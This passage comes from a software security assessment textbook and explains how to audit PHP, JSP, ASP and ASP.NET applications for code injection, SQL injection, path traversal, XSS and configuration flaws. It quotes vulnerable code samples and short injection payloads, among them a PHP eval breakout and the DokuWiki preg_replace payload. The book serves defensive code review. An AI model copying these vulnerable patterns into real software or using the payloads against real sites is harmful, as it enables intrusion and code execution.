    $m=new xmlrpcmsg($_xh[$parser]['method']); 

    // now add parameters in 

    $plist=""; 

    for($i=0; $i\n"; 

    $plist.="$i - " .  $_xh[$parser]['params'][$i]. " \n"; 

    eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");"); 

  } 

http://www.osvdb.org/17793
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This code is a little hard to follow, but basically it parses a user-supplied XML 

document and then loops through the parameters the user provided. For each loop, it 

constructs PHP code to call the addParam() method on the xmlrpcmsg object $m. It then 

uses eval() to call that method. Say the user supplies an XML document with a 

parameter named bob. The preceding code constructs this string: 

$m->addParam(bob); 

 

It then calls eval() to execute that string. Now say the user supplies a XML document 

with this parameter name: 

bob); evil_php_code_here(); exit( 

 

The string the code constructs looks like this: 

$m->addParam(bob); evil_php_code_here(); exit(); 

 

The PHP interpreter then executes this string, which probably isn't good. 

In addition, a form of regular expression implicitly evaluates a dynamically 

constructed string containing PHP code. The preg_replace() function, when used with 

an /e regular expression modifier, runs a given piece of code against every match. 

Stefan Esser, an independent researcher, found a great example of how this function 

can be vulnerable to code injection issues in the DokuWiki application 

(www.securityfocus.com/bid/18289). This is the vulnerable code: 

    // don't check links and medialinks for spelling errors 

    ... 

    $string = preg_replace('/\[\[(.*?)(\|(.*?))?(\]\])/e', 

           'spaceslink("\\1","\\2")',$string); 

 

Every time the code encounters characters that match the regular expression, it 

constructs a piece of PHP code to run to determine what to replace those characters 

with. If the code encounters [[somestring]], it runs the following code through the 

PHP interpreter: 

spaceslink("somestring", ""); 

 

http://www.securityfocus.com/bid/18289
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It then replaces [[somestring]] with the result of the spaceslink() function. The 

attack Esser outlined is to embed this PHP code in the string it's analyzing: 

[[{${phpinfo()}}]] 

 

This code is evaluated as the following: 

spaceslink("{${phpinfo()}}",""); 

 

This evaluation causes the phpinfo() function to be called and its results placed back 

in the string. From here, the attacker is practically unstoppable. 

Cross-Site Scripting 

PHP encodes HTML content using the htmlspecialchars() and htmlentities() 

functions for normal HTML and the urlencode() function for URLs. You should look for 

any user-malleable HTML output via other methods including print, echo, and <?= 

<expression> ?>. 

Configuration 

Any PHP security review should always account for the relevant configuration 

information. Several globally enforced security provisions, explained in the following 

sections, can dramatically change an application's behavior and vulnerability 

depending on what the developer or operations staff opted for. These settings can be 

somewhat intrusive and even break functionality, so it's common for developers to 

make changes to the configuration as they flesh out the Web application. 

The register_globals Option 

A rather dramatic option, register_globals, was enabled in the default PHP 

configuration until version 4.2.0, when it was disabled because of its security 

consequences. Shaun Clowes of Secure Reality brought this issue to people's 

attention, probably causing this default configuration change. His article "A Study in 

Scarlet" is definitely worth reading if you're going to be doing any security work with 

PHP (www.securereality.com.au/archives/studyinscarlet.txt). 

Basically, register_globals automatically takes all variables sent by users and puts 

them into global variables for the PHP script. So if you add jimbob= to the query string, 

you have the $jimbob variable with a value of 42. In PHP, you can use variables 

without ever initializing them because PHP just sets them up in a reasonable initial 

state the first time they're used. Consequently, many programmers don't explicitly 

initialize their variables. 

http://www.securereality.com.au/archives/studyinscarlet.txt


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 1111 

You can probably see how the presence of unexpected variables can mess up 

application security logic. Consider this example borrowed from the PHP manual: 

<?php 

 

if (authenticated_user()) 

{ 

   $authorized = true; 

} 

 

if ($authorized) 

{ 

   include "/highly/sensitive/data.php"; 

} 

?> 

 

The end result is that instead of bothering with authentication, attackers can just 

append authorized= to the query string or place it in a cookie. PHP creates a global 

variable named $authorized and sets it to the value 1. Then the code fails the first if 

statement, but the second statement succeeds, and the secret data is displayed. 

This example seems somewhat contrived, and it wouldn't be a problem if the 

developer had initialized $authorized or set it to false explicitly on failure. However, 

it's not uncommon for developers to forget to initialize variables over the course of a 

large application. Luckily, use of register_globals seems to have fallen out of favor. 

The magic_quotes Option 

A global security mechanism called magic_quotes attempts to curb metacharacter 

injection attacks. The configuration option magic_quotes_gpc (gpc stands for "get, 

post, and cookie") enables global metacharacter escaping in all GET, POST, and cookie 

data. This means every quote, double quote, backslash, and NULL character is 

automatically escaped with a backslash character. This option is actually enabled by 

default. The magic_quotes_runtime option, disabled by default, does the same 

escaping on runtime-generated data from external sources, including databases and 

the OS. 

Developers often disable the magic_quotes option because it can interfere with 

functionality and obscure the program's behavior. Even when it's enabled, it's not 

uniformly effective in preventing trickery. Numeric fields in SQL queries are often 

prone to tampering, and they can be exploited without needing a single quote 

character. Also, many applications do some sort of obfuscation or encoding of form 

variables that renders escaping meaningless. If a variable is in base64, escaping bad 

characters doesn't accomplish anything because those characters aren't in the 
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base64 character set. After decoding, the bad characters are reintroduced to the 

application unless users escape them explicitly. 

The .inc Files Option 

It's a common practice to place header and framework files in .inc files. In a common 

misconfiguration, the Web server doesn't have the correct file handler mapped for 

the .inc extension. Requesting the include file directly dumps its source code because 

it's treated like a text or HTML file. 

8.5.7 Java 

The Java Platform Enterprise Edition (formerly J2EE) includes a range of technologies 

for Web application development. At the most basic level, Java provides the Servlet 

API (javax.servlet) for interaction between a Web server and Java components. A 

Java servlet is a Java class that runs inside a Web server and handles the 

construction of dynamic responses to HTTP requests. The Web server has a 

component called a servlet engine, or servlet container, that manages these servlets. 

A Web developer installs a servlet in a Web server's servlet container, and then tells 

the Web server which URLs and URL patterns that servlet should handle. When a 

servlet handles a request, it can generate any kind of response it wants; much like a 

CGI program can generate arbitrary responses. Servlets can also forward requests to 

other servlets, which allows some interesting application designs. 

Servlets give you the same kind of basic functionality that Web server APIs provide 

(such as NSAPI and ISAPI). Even some of the more powerful customizations of 

proprietary APIs are possible, as the newer versions of the Servlet API allow 

developers to write filters, which can alter how the Web server handles every request 

and response. 

There are important differences between servlet technology and the proprietary Web 

server APIs. First, the specification for the servlet interface is an open, published 

standard with a reference implementation. Therefore, nearly every Web server 

supports servlets in some form or another, which makes them an appealing 

technology for large projects. Because servlets are written in cross-platform Java, 

you can (in theory) take servlets written on one platform for one Web server and 

move them to a completely different platform with a completely different Web server. 

The use of Java also makes writing these Web server extensions much safer, as Java 

is not vulnerable to the same memory corruption issues as proprietary C/C++ APIs. 

Most Java Web applications present a front end by using JavaServer Pages (JSP). JSP 

resembles other server-side scripting technologies, such as PHP or ASP, because you 

use it to embed Java code in HTML documents. However, JSP is a little different 

behind the scenes. When a Web server first receives a request for a JSP page, the 

Web server always compiles that page into a servlet. This servlet is then cached, and 
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future requests for the original JSP page call that cached servlet. This behavior opens 

some interesting design possibilities; for example, you can forward requests from a 

servlet to a JSP page because JSP pages share the same characteristics as servlets. 

Servlets and JSP represent the fundamental components of Java Web development. 

On top of this foundation is an entire industry of frameworks, technologies, and 

environments for developing and deploying Java applications. An entire book could be 

devoted to covering the security aspects of any of these popular frameworks in detail. 

However, for the sake of brevity, this chapter focuses on the core aspects of the Java 

architecture. These patterns should help you understand the basic issues and apply 

this knowledge to any framework you encounter. 

SQL Injection 

Database access is usually performed with Java Database Connectivity (JDBC) API 

using the java.sql and javax.sql packages. A Web application usually creates a 

Connection object, and then uses that object to create a Statement object. Statement 

and CallableStatement objects are often susceptible to SQL injection, whereas 

PreparedStatment is usually safe because it supports bound parameters. Typical 

vulnerable JDBC database code looks like the following: 

Connection conn = null; 

 

conn = getDBConnection(); /* This wrapper sets up JDBC */ 

 

Statement stmt = conn.createStatement(); 

 

String query = "SELECT * FROM documents WHERE docid = " 

    + request.getParameter("docID"); 

 

ResultSet rs = stmt.executeQuery(query); 

 

The Statement object supports three methods that initiate a database query: 

executeUpdate(), execute(), and executeQuery(). They are similar in that they take 

some form of SQL string as an argument processed by the database server. During a 

code review, you should search for all three and perform some general searches for 

SQL keywords because you'll also encounter custom frameworks and wrappers as 

well as alternative technology. 

File Access 

File access from within a servlet typically uses the java.io package, but it's important 

to keep your eyes open for other possible mechanisms. Java is an extensible language, 

and developers make use of different frameworks and wrappers. One useful 
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technique is simply to search for the word "filename," which naturally tends to 

accompany file manipulation code. Another useful technique is searching for calls to 

getrealPath() and getPathTranslated(). These functions are used to turn a 

Web-based file path into a physical file path, which is a good indicator that the code 

is interacting directly with the underlying file system. 

Here's an example of typical code used to write a file to the disk from within a servlet: 

    String name = req.getParameter("name"); 

 

    File tempDir = (File) getServletContext(). 

        getAttribute( "javax.servlet.context.tempdir" ); 

 

    // create a temporary file in that directory 

    File tempFile = File.createTempFile( name, ".tmp", 

                                         tempDir ); 

    // write to file 

    FileWriter fw = new FileWriter( tempFile ); 

 

 

Shell Invocation 

Shell invocation is a seldom used feature of the Java runtime environment. Java 

programs can access this feature by calling the getruntime() method of 

java.lang.Runtime. This Runtime object supports a few overloaded versions of the 

exec() method. It's a true exec() system call and doesn't implicitly open a shell to 

interpret the supplied command. Developers often open the shell explicitly with the 

appropriate option to take a command from the command line (such as cmd /c in 

Windows). The following code could be vulnerable, depending on the amount of 

influence users wielded over the command variable: 

    Runtime runtime = Runtime.getRuntime(); 

    Process process = null; 

    try { 

      process = runtime.exec(command); 

 

 

File Inclusion 

Java servlets support a rich set of functionality for intraservlet coordination and 

communication, which is integral to integration with JSPs. When a servlet must 

transfer control to another servlet or JSP, it obtains a RequestDispatcher object first 

that facilitates control-flow transfer. RequestDisatcher objects expose two methods: 

include() and forward(). 
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The forward() method is used when a servlet is done processing the request data and 

is ready to hand off control to another servlet or JSP. This situation is fairly common 

when presentation and business logic are well confined to separate components. A 

servlet might process the HTTP input, make several database calls, do some 

processing, and then fill out several variables attached to the request attributes. This 

servlet could then hand control over to a JSP page that knows how to take the 

variables in request attributes and turn them into stylish HTML content. 

The include() method is more a mechanism for embedding code in a currently 

running JSP or servlet. It's used more often when you've divided code into 

manageable pieces and want to call one of those pieces in the right place to do its job. 

For example, you might have a layered menu system that dynamically draws itself 

based on XML configuration files. One way to render submenus from within the main 

menu page is to use include() to call the code that handles presenting the submenu 

on the main page. 

As a code auditor, you should look for situations in which user-malleable input can 

make it into the arguments provided during creation of the RequestDispatcher for 

include() or forward(). This situation can lead to security issues of differing degrees, 

but even the capability to run existing files in the Web tree through the JSP compiler 

would probably end up being useful to clever attackers. 

JSP File Inclusion 

At first glance, JSP appears to be similar to ASP and PHP. HTML files are marked up 

with a scripting language, and they seem to more or less work in the same fashion. 

However, under the covers, JSP pages aren't being run through a script interpreter. 

Instead, they are compiled into servlets by the JSP engine the first time they're run. 

Because JSP pages are really servlets at a low level, they work elegantly with servlet 

mechanisms for forwarding and including. Java servlets and JSP code are essentially 

the same technology, so this section covers just a few JSP-specific commands that 

are a little different. 

First, the oldest method for including files in JSP pages involves the JSP include 

directive, indicated like this: 

<%@ include file="include.jsp" %> 

 

This directive functions effectively like a server-side include (SSI) directive; it 

happens before the JSP code is compiled and runs, so it's a static process. There's 

essentially no risk of attackers manipulating this path at runtime. 

The second, and far more interesting, method is the jsp:include element. It's close to 

the directive form but has a slightly different format: 
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<jsp:include page="include.jsp" /> 

 

This function works similarly to the RequestDispatcher.include() API servlets use to 

include other content. This inclusion is evaluated dynamically at runtime, so the risk 

of user manipulation exists. The following is an excerpt from a real-world application 

found to be vulnerable: 

<jsp:include page='<%="browserActions/" + 

    request.getParameter("_actionPage") + ".jsp"%>' 

 

By using a NUL-terminating byte and starting the parameter with directory traversal 

characters, it was possible to get the JSP compiler to parse any file in the Web tree. 

WEB-INF/web.xml is always a good candidate for this kind of attack, as it usually 

reveals some attack surface you would have missed otherwise. 

The jsp:forward element works much like the RequestDispatcher.forward() function 

servlets. If you recall, include() is used to embed or include a servlet, JSP code, or file 

into the caller. The forward() function is used to hand control over for the other 

dynamic object to finish. The distinction isn't all that interesting, however, if any sort 

of user-malleable data is involved. Both require() and include() are good targets 

from that perspective. 

Inline Evaluation 

Java is a different type of language technology than the scripting engine based Web 

architectures. There's no immediate way for a Java program to dynamically construct 

source code and then have the Java virtual machine compile and run it on the fly. 

However, a number of Java technologies do provide different forms of dynamic code 

evaluation. They include scripting environments, such as BeanShell and Jython, and 

of course the JSP interpreter is a dynamic evaluation environment for JSP files. These 

capabilities, however, are much less susceptible to exploit than true interpreted 

scripting languages, such as ASP and PHP. 

Cross-Site Scripting 

The Java runtime provides the java.net.UrlEncoder.encode() method to escape 

special characters in URLs. JSP provides the additional capabilities required for 

filtering against cross-site scripting attacks. The response.encodeURL() method 

encodes URL output, and the <c:out> tag escapes XML (and thus HTML) 

metacharacters from output. Developers may get confused when using the <c> tags, 

however, because only the <c:out> tag performs escaping. For example, the following 

code fails to escape HTML output: 
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<table> 

<c:forEach var="item" items="${menu}"> 

<tr> 

<td>${item.name}</td> 

<td>${item.price}</td> 

</c:forEach> 

</table> 

 

This code fragment is vulnerable to cross-site scripting attacks because the item.name 

and item.price variables are not explicitly handled. The following example handles 

these variables properly: 

<table> 

<c:forEach var="item" items="${menu}"> 

<tr> 

<td><c:out value="${item.name}"/></td> 

<td><c:out value="${item.price}"/></td> 

</tr> 

</c:forEach> 

</table> 

 

This example demonstrates the correct method for preventing cross-site scripting 

attackers. However, it's a bit less intuitive and many developers are unfamiliar with 

the approach. As an auditor, you need to watch for code similar to the vulnerable 

example, as it is a very common pattern in JSP pages. 

Threading Issues 

Most servlets are designed to handle multiple simultaneous threads calling into them 

at the same time. Typically, there's only one instantiation of the actual servlet object 

in memory, but a dozen threads might call its methods concurrently to handle 

requests. These concurrent calls can lead to security exposures if the servlet class is 

not completely thread safe. 

Servlets can be written to handle only one client at a time. If the servlet implements 

the SingleThreadModel interface, the servlet container treats that servlet as unsafe for 

concurrent threads. Generally, Java developers discourage this practice, and it's not 

common. Therefore, a giant red flag is the use of instance variables in servlets. They 

are effectively like global variables in a multithreaded C program, and they should be 

used with extreme care. Consider the following code: 

class MyServlet extends HttpServlet 

{ 
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    String account_number; 

 

 

    public void doGet(HttpServletRequest request, 

          HttpServletResponse response) 

    throws ServletException, IOException 

    { 

        account_number=request.getParameter("ID"); 

        ... 

        if (authenticate_user(account_number) != USER_VALID) 

           kill_session_and_user_and_abort(); 

 

        ... 

 

        display_account_history(account_number); 

 

    } 

    ... 

} 

 

This code works fine in a single-threaded situation because it stores the account 

number in the account_number instance variable. It then checks whether that number 

is valid and aborts processing if user isn't authenticated. If user passes the 

authentication, the code displays details of the user's account. However, this code has 

an obvious race condition in a multithreaded environment, like a Web server. The 

account_number string can be changed by concurrently running calls to doGet() 

between actions, leading to situations in which valid users are booted out occasionally, 

and every now and then, someone sees someone else's account information. 

Configuration 

Servlets are mapped to a virtual Web tree in a configuration file, typically the web.xml 

file in the WEB-INF/ directory off the root of the Web tree. The information in this file 

is critical for performing security analysis, as it defines how servlets interact with the 

outside world. Although most of the information in the file is useful to code auditors, 

this section focuses on two important entries: servlets and servlet-mappings. 

The web.xml file has a list of servlet entries, with each one listing a servlet in the 

application. This entry specifies the servlet's full class name and gives each servlet a 

manageable name used to reference it in other places in the configuration. This entry 

is also where servlet-specific configuration information and other options can be 

added. In their simplest form, servlet entries look like this: 

<servlet> 
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  <servlet-name>myserverbuddy</servlet-name> 

  <servlet-class>com.java.sun.popsicle.myserverbuddy 

  </servlet-class> 

</servlet> 

 

<servlet> 

  <servlet-name>evildoer</servlet-name> 

  <servlet-class>com.java.sun.popsicle.evildoer</servlet-class> 

</servlet> 

 

The Web application defined by these servlet entries implements a list of servlets. The 

servlet-mapping entry associates a URL pattern with a servlet, as shown in these 

sample mappings: 

<servlet-mapping> 

  <servlet-name>myserverbuddy</servlet-name> 

  <url-pattern>/buddy/*</url-pattern> 

</servlet-mapping> 

 

<servlet-mapping> 

  <servlet-name>evildoer</servlet-name> 

  <url-pattern>*.evl</url-pattern> 

</servlet-mapping> 

 

Keep in mind that every servlet or JSP exposed to the Internet represents another 

attack surface and potential failure point. The best solution is to expose only what's 

necessary under the most restrictive conditions that make sense. 

 

8.5.8 ASP 

Active Server Pages (ASP or Classic ASP) is a popular Microsoft technology for 

server-side scripting of Web applications. The program code is embedded in the HTML 

page within special tags, and a server-side parser evaluates the code as the page is 

displayed. The actual language can be any ActiveScript-compliant language, 

including VBScript, JavaScript, and PerlScript. In practice, however, VBScript is the 

most common choice, so this discussion focuses on that language. 

ASP is primarily intended to function as a presentation tier in enterprise web 

applications. The Microsoft Distributed Network Architecture (DNA) 1.0 guidelines 

recommend COM objects for any logic tiers. They are generally implemented in Visual 

31051536.html
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Basic or C++. However, many small- to medium-sized applications are developed 

entirely in ASP. 

ASP auditing comes pretty naturally to anyone familiar with PHP or JSP. The general 

structure and techniques are very similar, and the major differences are just 

language and platform semantics. 

SQL Injection 

Database access in ASP is typically performed using ActiveX Data Objects (ADO). You 

want to look for three main objects: Connection, Command, and RecordSet. The 

Connection object represents a full connection to an external database. It has an 

Execute() method that runs a SQL query on that connection and returns a RecordSet. 

The following code shows the most common way SQL queries are performed with the 

Connection object: 

    user = Request.Form("username") 

    Set Connection = Server.CreateObject("ADODB.Connection") 

 

    Connection.Open "DSN=testdsn; UID=xxx" 

 

    sqlStmt = "SELECT * FROM users WHERE name= '" & user & "'" 

    Set rs = Connection.Execute(sqlStmt) 

 

Developers can also use an ADO Command object, which is more flexible for stored 

procedures and parameterized queries. With this approach, users set properties in 

the Command object to tell it which connection to use and what SQL query it should run. 

The SQL query runs when the Command object's Execute() method is called. This 

process is demonstrated in the following code: 

  set cmd = Server.CreateObject("ADODB.Command") 

  Command.ActiveConnection = Connection 

 

  querystr = "SELECT * FROM users WHERE name='" & user & "'" 

 

  cmd.CommandText = querystr 

  Command.Execute 

 

A third common way to run a SQL query is for the application to create a RecordSet 

object and then call the Open() method, as shown in the following code: 

  user = Request.Form("username") 
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  querystr = "SELECT * FROM users WHERE name='" & user & "'" 

 

  Set rs = Server.CreateObject("ADODB.Recordset") 

  rs.Open querystr, "DSN= 

 

All three of these types of statements are vulnerable to SQL injection attacks when 

handling user supplied data, so you should look for any instances of their use. ADO 

also supports parameterized queries via the Command object. You can identify these 

queries by the ? placeholder in the query string and the use of the CreateParameter() 

method to add bound parameters. 

For the sake of thoroughness, when auditing an ASP application for SQL problems, 

you will also want to search for specific strings to try to find all the database 

interaction code. Good search candidates are SQL substrings, such as INSERT, SELECT, 

or WHERE, as well as methods that manipulate the database, such as Execute() or 

Open(). 

File Access 

ASP access to the file system is usually performed with the 

Scripting.FileSystemObject object, which defines a number of methods for standard 

file manipulation tasks, such as creating, deleting, reading, writing, and renaming 

files. When performing a security audit, examine every use of the FileSystemObject, 

as most of the methods have security consequences if user input is involved. Here's 

an example of a problem-prone attempt to write a file with the CreateTextFile() 

method: 

username = Request.Form("username") 

 

path = server.MapPath("/profiles/") 

 

Set objFSO = Server.CreateObject("Scripting.FileSystemObject") 

Set objFSOFile = objFSO.CreateTextFile(path + "\" + username) 

 

This example is vulnerable to a direct path traversal attack, allowing an attacker to 

create an arbitrary text file on the system. The NUL-byte issue affects ASP code as 

well, so attackers can easily circumvent code that appends a suffix or file extension to 

a user-supplied filename. This code also demonstrates a good method for identifying 

locations that handle user supplied paths. The Server.MapPath() function is commonly 

used when manipulating file paths. It's responsible for converting a path in the Web 

tree into a real physical drive path. Therefore, it ends up being used in most code 

dealing with the file system, even if that code uses a mechanism other than 
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FileSystemObject. In practice, you can find most file system manipulation code by 

performing a non-case-sensitive search for FileSystemObject, MapPath, and filename. 

Shell Invocation 

Shell invocation is not as natural of a task in ASP as it is in UNIX-based Web 

technologies. Typically, it's done using the Windows Scripting Host shell object, 

WshShell. This object provides Exec() and Run() methods; Run() starts a new 

Windows application, and Exec() starts a program within a child command shell and 

handles redirection of standard input, output, and error. Code that calls the shell is 

usually easy to find, as it generally has this idiom: 

set objShell = Server.CreateObject( "WScript.Shell" ) 

objShell.Run( thecommand ) 

 

If users can manipulate portions of the command string passed to WshShell, it's likely 

a serious exposure. 

File Inclusion 

Most file inclusion in ASP code is actually done by using SSIs. Because these 

directives are processed before the ASP interpreter runs, it isn't possible for 

dynamically constructed #include statements to work. In other words, you can't write 

code to create a filename at runtime and then include that file by using the <!-- 

#include file=<> --> tag. 

That said, as of IIS 5.0 and ASP 3.0, two new methods are available for directing the 

ASP interpreter to process other files at runtime. The Server.Execute() method calls 

and embeds a separate ASP in the current ASP. It works like an include function but 

is a bit more involved in how it preserves the object model associated with the HTTP 

request. Effectively, it calls another ASP page like a subroutine. The MSDN entry 

provides a good example, which has been modified in the following example to 

demonstrate a security vulnerability. 

<HTML> 

<BODY> 

<H1>Company Name</H1> 

<% 

  Lang = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") 

  Server.Execute(Lang & "Welcome.asp") 

%> 

</BODY> 

</HTML> 
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This code attempts to open a regionally localized page by constructing a filename 

from the language specified by the client. So the following ASP pages would be sitting 

in the same directory as the main welcome page: 

- EnWelcome.asp - 

<% Response.Write "Welcome to my Web site!" %> 

 

 

- DeWelcome.asp 

<% Response.Write "Willkommen zu meinem Web site!" %> 

 

 

- EsWelcome.asp - 

<% Response.Write "Recepcion a mi Web site!" %> 

 

The obvious security hole is that the language isn't filtered, and users can control the 

argument to Server.Execute(). Because ASP is also susceptible to the NUL-byte 

termination issue, this means appending Welcome.asp doesn't interfere with the 

attacker's ability to specify arbitrary files. Note that this vulnerability is nowhere near 

as bad in the ASP environment as it is in PHP. In ASP, an attacker must supply a 

filename in the Web tree, and can't specify external files, which limits the attack 

somewhat. The best bet for attackers is to try to find a temporary file directory in the 

Web tree where they can upload a file containing VBScript. It also might be 

worthwhile to include other configuration and content files in the Web tree, as the ASP 

parser likely exposes their contents even if it doesn't see valid ASP. Often, if a system 

is built around ASP chaining mechanisms like this one, merely calling the wrong 

"inside" ASP file is enough to let attackers bypass authentication or authorization 

checks. 

Server.Transfer() transfers control from one ASP file to another. It's different from 

Execute() in that it hands complete control over and stops execution of the initial ASP 

page. The state of the system and the objects that make up the ASP environment are 

maintained, and the transfer occurs totally on the server side. Other Web 

technologies have implemented this feature in some fashion, as it works well for 

separating code and presentation logic. Developers could create one ASP file that 

does all the work with the database and business logic. This file could populate 

several temporary variables with the data that needs to be displayed. If this ASP code 

uses Server.Transfer() to transfer control to a second ASP, the second ASP can read 

those variables from the runtime environment it inherited, and then its code can focus 

on displaying the information in a graphically appealing fashion. 

Manipulation of the Server.Transfer() destination filename has more or less the 

same impact as with Server.Execute(). If developers mistakenly use these functions 

as analogues for Response.Redirect(), they can run into unexpected security issues. 
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These methods seem to work similarly to a redirect, but they perform a full transfer 

of control on the server side. The impact of improper filtering with these methods can 

lead to running arbitrary code and disclosing sensitive files. 

Inline Evaluation 

VBScript is the most common scripting language used for ASP. It provides a few 

mechanisms for dynamic runtime evaluation of code that prove interesting for 

security review. Execute() takes a string containing VBScript code and runs it through 

the interpreter. Eval() does more or less the same thing, except it treats its string as 

an expression, not a statement. These function are much the same, but the 

separation into two functions helps resolve an ambiguity in VBScript about 

interpreting the = operator. In Execute(), it's used for assignment, and in Eval(), it 

tests for equality. VBScript also has ExecuteGlobal(), which is just like Execute(), 

except it runs dynamically provided code in the global namespace of the currently 

running application. Thus, the dynamic code can define or modify variables used by 

other functions. 

Note the difference between this Execute() function and the Server.Execute() ASP 

method. This Execute() function is a VBScript language directive for dynamically 

interpreting code, and the Server.Execute() function is part of the ASP runtime object 

model/API for transferring control flow to another ASP script. If attackers can sneak 

metacharacter data into dynamically evaluated code for any of these methods, the 

results are categorically bad. They can use script code to perform whatever 

operations they choose or simply open a remote shell. 

Cross-Site Scripting 

ASP encodes HTML content using the Server.HTMLEncode() function for normal HTML 

and the Server.URLEncode() function for URLs. You should look for any user-malleable 

HTML output via other methods including Response.Write() and <% = <expression> %>. 

Configuration 

ASP programmers often use the .inc file extension for include files just as PHP 

programmers do. If the Web server isn't set up to handle the .inc file extension 

correctly, more often than not it just serves the include files as plain text when 

directly queried for them. It's usually worth checking for this error, as it's a common 

operational oversight. 

8.5.9 ASP.NET 

ASP.NET is Microsoft's successor to the Classic ASP platform; it provides the Web 

Services component of the .NET framework. The .NET framework is a 

language-independent virtual machine and a set of associated libraries. It's similar in 
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many ways to the Java platform; both are platform-independent virtual machine 

environments, provide robust code access control, and have extremely rich default 

libraries. In practice, you can leverage a lot of the same techniques with both Java 

and ASP.NET, although naming and certain conventions differ. In particular, .NET 

provides the Common Language Runtime (CLR), which supports a variety of 

languages, so a source review of a .NET application might require knowledge of 

several languages. Fortunately, the most popular .NET languages are C# and VB.NET, 

which are similar to Java and Visual Basic, respectively. You will also want to be 

familiar with Classic ASP, as many of its conventions and potential security issues are 

share with ASP.NET. 

SQL Injection 

The .NET runtime provides the System.Data namespace for interacting with all data 

sources (collectively referred to as ADO.NET). A connection to a data source is 

generally established by using the SQLConnection class in the System.Data.SqlClient 

namespace, although a database-specific connection can be used, such as the 

OracleConnection class from the System.Data.Client namespace. The semantics are 

essentially the same, so this section sticks with the basic provider. 

After the connection is established, queries can be issued in a number of ways. The 

safest approach is to use parameterized SQL via the SqlCommand and SqlParameter 

classes. This approach follows the same general structure of parameterized queries 

discussed in Chapter 17(? [????.]). Here's an example of a parameterized query in 

C#: 

SqlCommand cmd = new SqlCommand( 

    "SELECT * FROM table WHERE name=@name", cn); 

cmd.CommandType= CommandType.Text; 

SqlParameter prm = new SqlParameter("@name",SqlDbType.VarChar,50); 

prm.Direction=ParameterDirection.Input; 

prm.Value = userInput; 

cmd.Parameters.Add(prm); 

SqlDataReader rdr = cmd.ExecuteReader(); 

 

This code fragment runs the parameterized command and attaches the result set to 

the data reader. It's a fairly common approach to SQL in .NET. However, here's a 

much shorter approach to the same statement: 

SqlCommand cmd = new SqlCommand( 

    "SELECT * FROM table WHERE name='" + userInput + "'", cn); 

cmd.CommandType= CommandType.Text; 

SqlDataReader rdr = cmd.ExecuteReader(); 
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This second statement is obviously vulnerable; the parameters aren't bound, and an 

attacker could supply SQL metacharacters for input. However, it still uses the same 

SqlCommand class as the parameterized query, so you need to make sure you look for 

any dynamic input in the query string. 

File Access 

Input and output are handled by the System.IO namespace, but you need to watch for 

other possible mechanisms. Like Java, .NET is an extensible language, and 

developers make use of various frameworks and wrappers. You can do simple 

searches for common file variable names, as suggested in the Java section. You can 

also look for calls to the path-handling methods of the Request object, especially 

Request.MapPath() and Request.MapPathSecure(), which are used to translate relative 

paths in the server context. 

Another consideration is that the vast majority of ASP.NET applications are on 

Windows systems (although the Mono project and DotGNU do produce cross-platform 

implementations). Therefore, you need to be aware of Windows file-handling quirks 

(discussed in Chapter 11(? [????.]), "Windows I: Objects and the File System"). 

Shell Invocation 

The Process class from the System.Diagnostics namespace is used for running and 

controlling other processes. By default, this class calls the appropriate shell handler 

based on the extension of the provided filename, so it is very similar to the 

ShellExecuteEx Win32 function. For example, this function calls cmd.exe if a file 

named test.bat is passed to it. This behavior can be controlled by setting the 

UseShellExecute property to false in the ProcessStartInfo class passed to 

Process.Start(). Here's a simple example of starting a batch file with a manually 

supplied command shell: 

ProcessStartInfo si = new ProcessStartInfo("cmd.exe"); 

si.Arguments = "/c test.bat" 

si.UseShellExecute = false; 

Process proc = Process.Start(si); 

 

However, here's an example that executes the file the using the default batch file 

handler: 

Process proc = Process.Start("test.bat"); 

 

The file extension is particularly important when starting a process, unless the 

ProcessStartInfo is set explicitly. Attackers who can manipulate the filename might 
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be able to leverage this to start entirely different applications or force the 

interpretation of shell metacharacters. 

File Inclusion 

ASP.NET is like Java, in that it doesn't allow dynamic inclusion of script files. Files can 

be included, however, via this preprocessor directive: 

<!--#include file="inc_footer.aspx"--> 

 

Of course, a vulnerability that allows a file to be written to the Web root could result 

in a dynamic execution vulnerability. Also, ASP.NET supports the Server.Transfer() 

and Server.Execute() methods provided by Classic ASP, so the security issues in the 

Classic ASP discussion also apply. Finally, there are situations that make it possible 

for developers to implement their own dynamic include capabilities, discussed in the 

next section. 

Inline Evaluation 

The .NET framework is language independent, so it doesn't quite support direct script 

evaluation. However, the System.CodeDom.Compiler namespace includes CodeProvider 

classes for common languages, such as C# and VB.NET. Using this namespace, 

developers can implement an inline evaluation routine fairly easily by just compiling 

and running the source code programmatically. Oddly enough, you might actually see 

this approach in production Web code, so you need to watch for any use of the 

System.CodeDom.Compiler namespace. 

Cross-Site Scripting 

ASP.NET prevents cross-site scripting attacks with the same basic filtering 

mechanisms as Classic ASP, including the Server.HTMLEncode() function for normal 

HTML and the Server.URLEncode() function for URLs. ASP.NET also provides some 

extra protection by explicitly denying requests containing the < and > characters; this 

behavior is controlled via the ValidateRequest page attribute. Some page controls 

also escape script data, although you will need to consult the documentation for each 

control to determine its exact behavior. 

Configuration 

ASP.NET applications are configured by using the web.config file at the root of the 

application directory. This file can override some settings in the global machine.config 

file found in the CONFIG subfolder of the .NET framework installation directory. The 

web.config file includes settings for application-wide authentication, ViewState 

security, server runtime parameters, and a variety of other details. The MSDN 
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provides extensive information on details of the web.config file, but the following 

sections touch on a few important points. 

ViewState 

The ViewState, stored in a client-side cookie, contains information on form parameter 

content, control status, and other display-specific information. By default, ViewState 

is protected with a secure message digest by using a secret in the validationKey 

attribute of the machineKey field in web.config. However, some controls can be bound 

to data sources that reveal column and table names along with other potential 

database schema. To address this problem, ViewState can also be encrypted by 

setting the validation attribute to AES or DES and providing a value for 

decryptionKey. If ViewState isn't encrypted, you can use one of many ViewState 

decoder tools to search for interesting information (a ViewState decoder is available 

from www.pluralsight.com/tools.aspx). The following simple ViewState section 

requires both authentication and encryption for all pages: 

<pages enableViewStateMac="true" ... /> 

<machineKey validationKey="AutoGenerate,IsolateApps" 

            decryptionKey="AutoGenerate,IsolateApps" 

            validation="SHA1" decryption="AES" /> 

 

 

Access Control 

ASP.NET allows an application to set sitewide access control enforced by the runtime 

engine. One of the most popular types of authentication is forms-based 

authentication; here's an example of a forms-based authentication section in 

web.config: 

<authentication mode="Forms"> 

    <forms  name="AuthLogin" 

            loginURL="login.aspx" 

            protection="All" 

            timeout="1200" 

            path="/" /> 

</authentication> 

 

This code causes a request from an unauthenticated user to be redirected to 

